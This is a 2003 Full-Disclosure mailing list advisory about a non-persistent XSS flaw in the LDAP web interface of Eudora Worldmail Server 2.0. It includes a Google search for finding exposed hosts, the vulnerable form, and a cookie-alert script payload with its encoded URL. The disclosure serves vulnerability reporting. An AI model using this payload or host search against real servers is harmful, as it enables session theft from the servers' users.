[Full-Disclosure] Eudora Worldmail Server 2.0 -XSS Injection

From: morning_wood (se_cur_ity_at_hotmail.com)
Date: 08/16/03

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    To: <full-disclosure@lists.netsys.com>, <bugtraq@securityfocus.com>
    Date: Fri, 15 Aug 2003 15:34:58 -0700
    
    

    ------------------------------------------------------------------
              - EXPL-A-2003-020 exploitlabs.com Advisory 020
    ------------------------------------------------------------------
                      -= Eudora Worldmail Server 2.0 =-

    Donnie Werner
    Aug 9, 2003

    Product:
    --------
    Eudora Worldmail Server 2.0

    http://www.qualcomm.com/
    http://www.eudora.com/worldmail/

    Vunerability(s):
    ----------------
    1. XSS injection

    Description of product:
    -----------------------
    http://www.eudora.com/worldmail/features.html

    Banner id:

    HTTP/1.0 200 Document follows
    Server: ISOCOR web500gw 2.0.0.3
    MIME-Version: 1.0
    Date: Wednesday, 06-Aug-2003 GMT
    Content-type: text/html

    examples could be found by:

    http://www.google.com/search?num=20&hl=en&lr=&ie=ISO-8859-1&newwindow=1&saf
    e=off&q=Qpam.htm&btnG=Google+Search

    VUNERABILITY / EXPLOIT
    ======================

    Vunerable hosts display the following:

    -------------- snip ----------------------

    A convenient hypertext interface to LDAP and X.500 Directories.

    Local domains and aliases
    Results for: entries at the top level

     Name Description
    Countries
     AE <---------------- example country
     IT
     CA
    --------------- snip --------------------

    Select a country ( "AE" used as example )
    you should see something like the following..

    http://[host]:8888/c%3dAE

    and a search box

    "One-level search in AE:"

    <FORM METHOD=GET ACTION="/c%3dAE">
    <A NAME="search_form">One-level search in</A> <STRONG>AE</STRONG>:<br>
    <INPUT NAME="?O" SIZE=39><INPUT TYPE=submit VALUE="Search">
    <INPUT TYPE=reset VALUE="Clear"></FORM>

    enter sum cool XSS...

    <SCRIPT>alert(document.cookie);</SCRIPT>

    and get

    http://[host]:8888/c%3dAE?%3FO=%3CSCRIPT%3Ealert%28document.cookie%29%3B%3C
    %2FSCRIPT%3E

    the results are rendered by the output of the formatted html.

    yes, it just a non persistant XSS, but this is running as a service on
    port 8888 and is a mail processing server, so there may be other issues
    ( DoS ? ) as well.

    I belive LDAP has some DCOM connectivity, and there could be issues
    with the LDAP...

    SLAPD or X.500 Error: Not found
    An error occurred while searching the SLAPD or X.500 directory
    The error code was 32:

    No such object.
    No additional information is available.Please report errors to the
    Administrator.

    Local:
    ------
    ???

    Remote:
    -------
    yes

    Vendor Fix:
    -----------
    No fix on 0day

    Vendor Contact:
    ---------------
    Concurrent with this advisory
    eudora-custserv@qualcomm.com

    Credits:
    --------

    Donnie Werner
    morning_wood@e2-labs.com
    http://e2-labs.com

    Original at
    http://exploitlabs.com/files/advisories/EXPL-A-2003-020-eudora-worlmail-ser
    ver.txt

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


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